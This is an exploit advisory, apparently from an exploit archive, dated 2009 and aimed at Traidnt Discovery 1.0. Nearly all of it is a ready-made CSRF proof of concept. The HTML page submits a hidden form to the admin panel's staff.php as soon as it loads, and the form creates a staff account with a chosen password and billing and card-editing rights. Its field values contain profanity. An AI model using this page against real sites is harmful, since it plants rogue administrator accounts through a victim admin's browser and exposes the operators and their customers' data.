31 lines
No EOL
1.3 KiB
Text
31 lines
No EOL
1.3 KiB
Text
# Exploit Title: Traidnt Discovery - [CSRF] Create Staff Account
|
|
# Date: 14-12-2009
|
|
# Author: G0D-F4Th3r
|
|
# Software Link: http://discovery.traidnt.com/demo/
|
|
# Version: 1.0
|
|
|
|
====================================[form]================================================
|
|
<html>
|
|
<body onload="javascript:fireForms()">
|
|
|
|
<form method="POST" name="form0" action="http://www.site.com/[path]/admincp/staff.php?do=addnew&go=add">
|
|
<input type="hidden" name="username" value="fuck"/>
|
|
<input type="hidden" name="password" value="fuckpass"/>
|
|
<input type="hidden" name="email" value="mail@mail.com<mailto:mail@mail.com>"/>
|
|
<input type="hidden" name="realname" value="fuck name"/>
|
|
<input type="hidden" name="sig" value=""/>
|
|
<input type="hidden" name="viewsig" value="0"/>
|
|
<input type="hidden" name="receivemsg" value="1"/>
|
|
<input type="hidden" name="cat_array[]" value="1"/>
|
|
<input type="hidden" name="cat_array[]" value="3"/>
|
|
<input type="hidden" name="cat_array[]" value="2"/>
|
|
<input type="hidden" name="viewserver" value="1"/>
|
|
<input type="hidden" name="viewonline" value="1"/>
|
|
<input type="hidden" name="sendmsg" value="1"/>
|
|
<input type="hidden" name="accessbill" value="1"/>
|
|
<input type="hidden" name="editcard" value="1"/>
|
|
<input type="hidden" name="editcomm" value="1"/>
|
|
<input type="hidden" name="service" value="1"/>
|
|
</form>
|
|
</body>
|
|
</html> |